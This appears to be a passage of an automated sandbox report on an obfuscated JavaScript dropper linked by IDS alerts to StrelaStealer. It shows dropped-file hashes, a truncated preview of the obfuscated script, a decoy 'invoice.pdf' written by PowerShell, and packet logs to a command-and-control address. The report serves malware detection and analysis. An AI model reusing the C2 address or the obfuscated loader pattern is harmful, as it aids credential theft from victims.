._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\2ac81adb-e2c2-47d5-886b-6122aa43808d.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 299538
Category:	dropped
Size (bytes):	758601
Entropy (8bit):	7.98639316555857
Encrypted:	false
SSDEEP:	12288:ONh3P65+Tegs6121YSWBlkipdjuv1ybxrr/IxkB1mabFhOXZ/fEa+vTJJJJv+9U0:O3Pjegf121YS8lkipdjMMNB1DofjgJJg
MD5:	3A49135134665364308390AC398006F1
SHA1:	28EF4CE5690BF8A9E048AF7D30688120DAC6F126
SHA-256:	D1858851B2DC86BA23C0710FE8526292F0F69E100CEBFA7F260890BD41F5F42B
SHA-512:	BE2C3C39CA57425B28DC36E669DA33B5FF6C7184509756B62832B5E2BFBCE46C9E62EAA88274187F7EE45474DCA98CD8084257EA2EBE6AB36932E28B857743E5
Malicious:	false
Preview:	...........kWT..0...W`.........b..@..nn........5.._..I.R3I..9g.x....s.\+.J......F...P......V]u......t....jK...C.fD..]..K....;......y._.U..}......S.........7...Q.............W.D..S.....y......%..=.....e..^.RG......L..].T.9.y.zqm.Q]..y..(......Q]..~~..}..q...@.T..xI.B.L.a.6...{..W..}.mK?u...5.#.{...n...........z....m^.6!.`.....u...eFa........N....o..hA-..s.N..B.q..{..z.{=..va4_`5Z........3.uG.n...+...t...z.M."2..x.-...DF..VtK.....o]b.Fp.>........c....,..t..an[............5.1.(}..q.q......K3.....[>..;e..f.Y.........mV.cL...]eF..7.e.<.._.o\.S..Z...`..}......>@......\|.......ox.........h.......o....-Yj=.s.g.Cc\.i..\..A.B>.X..8`...P......[..O...-.g...r..u\...k..7..#E....N}...8.....(..0....w....j.......>.L....H.....y.x3...[>..t......0..z.qw..]X..i8..w.b..?0.wp..XH.A.[.....S..g.g..I.A.15.0?._n.Q.]..r8.....l..18...(.].m...!\|G.1...... .3.`./....`~......G.............\|..pS.e.C....:o.u_..oi.:..\|....joi...eM.m.K...2%...Z..j...VUh..9.}.....

C:\Users\user\AppData\Local\Temp\acrocef_low\3a1670d5-d509-4d89-8d21-12999839e522.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 1311022
Category:	dropped
Size (bytes):	386528
Entropy (8bit):	7.9736851559892425
Encrypted:	false
SSDEEP:	6144:8OSTJJJJEQ6T9UkRm1lBgI81ReWQ53+sQ36X/FLYVbxrr/IxktOQZ1mau4yBwsOo:sTJJJJv+9UZX+Tegs661ybxrr/IxkB1m
MD5:	5C48B0AD2FEF800949466AE872E1F1E2
SHA1:	337D617AE142815EDDACB48484628C1F16692A2F
SHA-256:	F40E3C96D4ED2F7A299027B37B2C0C03EAEEE22CF79C6B300E5F23ACB1EB31FE
SHA-512:	44210CE41F6365298BFBB14F6D850E59841FF555EBA00B51C6B024A12F458E91E43FDA3FA1A10AAC857D4BA7CA6992CCD891C02678DCA33FA1F409DE08859324
Malicious:	false
Preview:	...........]s[G. Z...{....;...J$%K&..%.[..k...S....$,.`. )Z..m........a.......o..7.VfV...S..HY}Ba.<.NUVVV~W.].;qG4..b,N..#1.=1.#1..o.Fb.........IC.....Z...g_~.OO.l..g.uO...bY.,[..o.s.D<..W....w....?$4..+..%.[.?..h.w<.T.9.vM.!..h0......}..H..$[...lq,....>..K.)=..s.{.g.O...S9".....Q...#...+..)>=.....\|6......<4W.'.U.j$....+..=9...l.....S..<.\.k.'....{.1<.?..<..uk.v;.7n.!...g....."P..4.U........c.KC..w._G..u..g./.g....{'^.-\|..h#.g.\.PO.\|...]x..Kf4..s..............+.Y.....@.K....zI..X......6e?[..u.g"{..h.vKbM<.?i6{%.q)i...v..<P8P3.......CW.fwd...{:@h...;........5..@.C.j.....a.. U.5...].$.L..wW....z...v.......".M.?c.......o..}.a.9..A..%V..o.d....'..\|m.WC.....\|.....e.[W.p.8...rm....^..x'......5!...\|......z..#......X_..Gl..c..R..`...*.s-1f..]x......f...g...k........g....... ).3.B..{"4...!r....v+As...Zn.]K{.8[..M.r.Y..........+%...]...J}f]~}_..K....;.Z.[..V.&..g...>...{F..{I..@~.^.\|P..G.R>....U..../HY...(.z.<.~.9OW.Sxo.Y

C:\Users\user\AppData\Local\Temp\acrocef_low\d4519481-5bbe-4338-b402-b87a3c4cca08.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 33081
Category:	dropped
Size (bytes):	1407294
Entropy (8bit):	7.97605879016224
Encrypted:	false
SSDEEP:	24576:/xA7o5dpy6mlind9j2kvhsfFXpAXDgrFBU2/R07/WLaGZDwYIGNPJe:JVB3mlind9i4ufFXpAXkrfUs0jWLaGZo
MD5:	A0CFC77914D9BFBDD8BC1B1154A7B364
SHA1:	54962BFDF3797C95DC2A4C8B29E873743811AD30
SHA-256:	81E45F94FE27B1D7D61DBC0DAFC005A1816D238D594B443BF4F0EE3241FB9685
SHA-512:	74A8F6D96E004B8AFB4B635C0150355CEF5D7127972EA90683900B60560AA9C7F8DE780D1D5A4A944AF92B63C69F80DCDE09249AB99696932F1955F9EED443BE
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\invoice.pdf

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PDF document, version 1.7
Category:	dropped
Size (bytes):	635764
Entropy (8bit):	7.929592005409041
Encrypted:	false
SSDEEP:	12288:+ZLfaHa9wphzjERQ/JTckor+EURE+AwAX75pfGJKsKca+e7lEjYQ:+ZyjgQRRor+lRJAwAXlpoKgQ76jYQ
MD5:	91A2AF9E2A61ABF7D9977999FBF9879E
SHA1:	F6E4FA02DD15B27F74553FB1B220A4D2DF385267
SHA-256:	FC3518D746CDB3738DA976551795B9727619F41F89AC0641533126E2F69B969A
SHA-512:	8B27CC0E0E902ABB59735FF4FC67789C0F0F9A1BF3F619A7AFAEAAA13A9AFCF9C82F25596719A65EC15221EBAE16EF9701CDB48F372BBF1BE08CB568DBE41D7C
Malicious:	true
Preview:	%PDF-1.7.%.....1 0 obj.<< /Pages 3 0 R /Type /Catalog >>.endobj.2 0 obj.<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>.stream.x.3V0.Q.w./.+Q0T...L)V.V0Q0P.R.U...,HU..HLO-V.....%0.mendstream.endobj.4 0 obj.<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>.endobj.5 0 obj.<< /Filter /FlateDecode /Length 75 >>.stream.x.3T0.B]C aab.gi....U.e...E........\ E..&@yC.:.l.B.W.B!P9D..~...K>W ...&...endstream.endobj.6 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>.endobj.7 0 obj.<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>.stream.x.+..T(..O/6PH/.*.2.4.4S0.B]......H...O..S.04Tp....B.....endstream.endobj.8 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>.endobj.9 0 obj.<< /BitsPerCo

C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	55
Entropy (8bit):	4.306461250274409
Encrypted:	false
SSDEEP:	3:YDQRWu83XfAw2fHbY:YMRl83Xt2f7Y
MD5:	DCA83F08D448911A14C22EBCACC5AD57
SHA1:	91270525521B7FE0D986DB19747F47D34B6318AD
SHA-256:	2B4B2D4A06044AD0BD2AE3287CFCBECD90B959FEB2F503AC258D7C0A235D6FE9
SHA-512:	96F3A02DC4AE302A30A376FC7082002065C7A35ECB74573DE66254EFD701E8FD9E9D867A2C8ABEB4C482738291B715D4965A0D2412663FDF1EE6CBC0BA9FBACA
Malicious:	false
Preview:	{"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Static File Info

General

File type:	ASCII text, with very long lines (18024), with CRLF line terminators
Entropy (8bit):	4.913494864675588
TrID:
File name:	7654219842078021961.js
File size:	21'407 bytes
MD5:	3c2d5cdf3f6072359f976544c5ef9ac6
SHA1:	22176c5e2acd7d4ce7942612cd24178ca07b2518
SHA256:	6b80158c554923b53a981615b8db6a1573377bcfe47dc63cc329ef0a554b33fe
SHA512:	f8cc79380816de59eb5d8f9ae66e354527a14e70a24dff6c23ca81533259a5ede93674aee38aa8c8a823c96311a6ccd211be66744cb138aa72c15de85fa66688
SSDEEP:	384:tI0rp/a7p/j0YYp/30YS9WGDGOkDqGjRVUQM0SK2l4daRGQhKXxJXq/hm3HpxLl/:thp/a7p/zYp//S9WGDGOSts5dC3igmvU
TLSH:	52A242D89E87E3AA1AD017F04672581B25F410C88795C08568A65F7FBED1F58F2E3BB0
File Content Preview:	function wsanfojtu(){vwfjkcfd=[1031,3079,5127,4103,2055,3072];var wyexc=this[dvhuhpga+ddheyetm+jvtqrkfm+nrzjp+tvuuo+zmzwpyss+xgpnjuzv+mwcuo](this[tegqmoqa+gpjkqysq+rikwl+jvtqrkfm+byloilaqh+dvhuhpga+mwcuo][khwqryrdg+jvtqrkfm+tvuuo+ddheyetm+mwcuo+tvuuo+zsax

File Icon


Icon Hash:	68d69b8bb6aa9a86

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2025-01-11T03:10:58.684188+0100	1810000	Joe Security ANOMALY Windows PowerShell HTTP activity	2	192.168.2.5	49704	193.143.1.205	80	TCP
2025-01-11T03:10:58.684188+0100	2859560	ETPRO MALWARE StrelaStealer CnC Activity - Requesting Decoy Payload (GET)	1	192.168.2.5	49704	193.143.1.205	80	TCP
2025-01-11T03:11:01.305986+0100	1810005	Joe Security ANOMALY Microsoft Office WebDAV Discovery	1	192.168.2.5	49705	193.143.1.205	8888	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 11, 2025 03:10:57.882153034 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:10:57.888706923 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:10:57.888804913 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:10:57.891596079 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:10:57.899606943 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:10:58.684025049 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:10:58.684119940 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:10:58.684149027 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:10:58.684187889 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:10:58.684420109 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:10:58.684449911 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:10:58.684484959 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:10:58.684712887 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:10:58.684755087 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:10:58.684775114 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:10:58.684812069 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:10:58.684839010 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:10:58.684966087 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:10:58.685561895 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:10:58.685626030 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:10:58.738333941 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:10:58.738426924 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:10:58.738459110 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:10:58.738517046 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:10:58.801173925 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:10:58.801248074 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:10:58.801279068 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:10:58.801321983 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:10:58.801383018 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:10:58.801431894 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:10:58.801474094 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:10:58.802582026 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:10:58.802634954 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:10:58.802699089 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:10:58.805125952 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:10:58.805223942 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:10:58.805629969 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:10:58.805681944 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:10:58.805752039 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:10:58.805758953 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:10:58.805785894 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:10:58.805819035 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:10:58.805834055 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:10:58.805851936 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:10:58.805885077 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:10:58.805915117 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:10:58.805916071 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:10:58.805949926 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:10:58.805980921 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:10:58.805983067 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:10:58.806014061 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:10:58.806035995 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:10:58.806050062 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:10:58.806107998 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:10:58.826833010 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:10:58.826930046 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:10:58.827011108 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:10:58.827044964 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:10:58.827047110 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:10:58.827121973 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:10:58.900043964 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:10:58.900084972 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:10:58.900105953 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:10:58.900140047 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:10:58.900340080 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:10:58.900614977 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:10:58.918454885 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:10:58.918488026 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:10:58.918523073 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:10:58.918535948 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:10:58.918704033 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:10:58.918723106 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:10:58.918742895 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:10:58.919075012 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:10:58.919147015 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:10:58.919256926 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:10:58.919269085 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:10:58.919301033 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:10:58.919601917 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:10:58.919846058 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:10:58.919919014 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:10:58.920036077 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:10:58.920048952 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:10:58.920109034 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:10:58.920351028 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:10:58.920756102 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:10:58.920881033 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:10:58.920892954 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:10:58.920907021 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:10:58.920923948 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:10:58.921248913 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:10:58.921683073 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:10:58.921720028 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:10:58.921821117 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:10:58.921832085 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:10:58.921868086 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:10:58.922194004 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:10:58.922580004 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:10:58.922626019 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:10:58.922735929 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:10:58.922746897 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:10:58.922784090 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:10:58.923033953 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:10:58.923464060 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:10:58.923512936 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:10:58.923559904 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:10:58.923573971 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:10:58.923620939 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:10:58.923851013 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:10:58.924364090 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:10:58.924407005 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:10:58.924431086 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:10:58.924443007 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:10:58.924493074 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:10:58.924774885 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:10:58.925267935 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:10:58.925302029 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:10:58.925312042 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:10:58.925337076 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:10:58.925368071 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:10:58.925621033 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:10:58.926142931 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:10:58.926212072 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:10:58.926223040 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:10:58.926227093 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:10:58.926256895 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:10:58.926557064 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:10:58.927053928 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:10:58.927112103 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:10:58.927165985 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:10:58.927177906 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:10:58.927226067 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:10:58.988426924 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:10:58.988590002 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:10:58.988729954 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:10:59.017256975 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:10:59.017293930 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:10:59.017307043 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:10:59.017410994 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:10:59.017745018 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:10:59.017781973 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:10:59.017827034 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:10:59.035636902 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:10:59.035718918 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:10:59.035742998 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:10:59.035751104 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:10:59.035830021 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:10:59.035897017 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:10:59.035931110 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:10:59.035964966 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:10:59.036005974 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:10:59.036425114 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:10:59.036492109 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:10:59.036566973 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:10:59.036822081 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:10:59.036850929 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:10:59.036885023 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:10:59.036894083 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:10:59.036920071 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:10:59.036962986 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:10:59.037492037 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:10:59.037529945 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:10:59.037563086 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:10:59.037581921 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:10:59.037595987 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:10:59.037614107 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:10:59.037628889 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:10:59.037672043 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:10:59.038317919 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:10:59.038356066 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:10:59.038388014 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:10:59.038420916 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:10:59.038429976 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:10:59.038453102 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:10:59.038496971 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:10:59.039262056 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:10:59.039298058 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:10:59.039346933 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:10:59.039356947 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:10:59.039390087 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:10:59.039414883 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:10:59.039422035 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:10:59.039463043 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:10:59.040040970 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:10:59.040076971 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:10:59.040108919 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:10:59.040141106 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:10:59.040150881 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:10:59.040607929 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:10:59.040946007 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:10:59.040982008 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:10:59.041011095 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:10:59.041024923 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:10:59.041043997 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:10:59.041076899 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:10:59.041096926 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:10:59.041122913 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:10:59.041191101 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:10:59.041747093 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:10:59.041780949 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:10:59.041815042 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:10:59.041846991 CET	80	49704	193.143.1.205	192.168.2.5
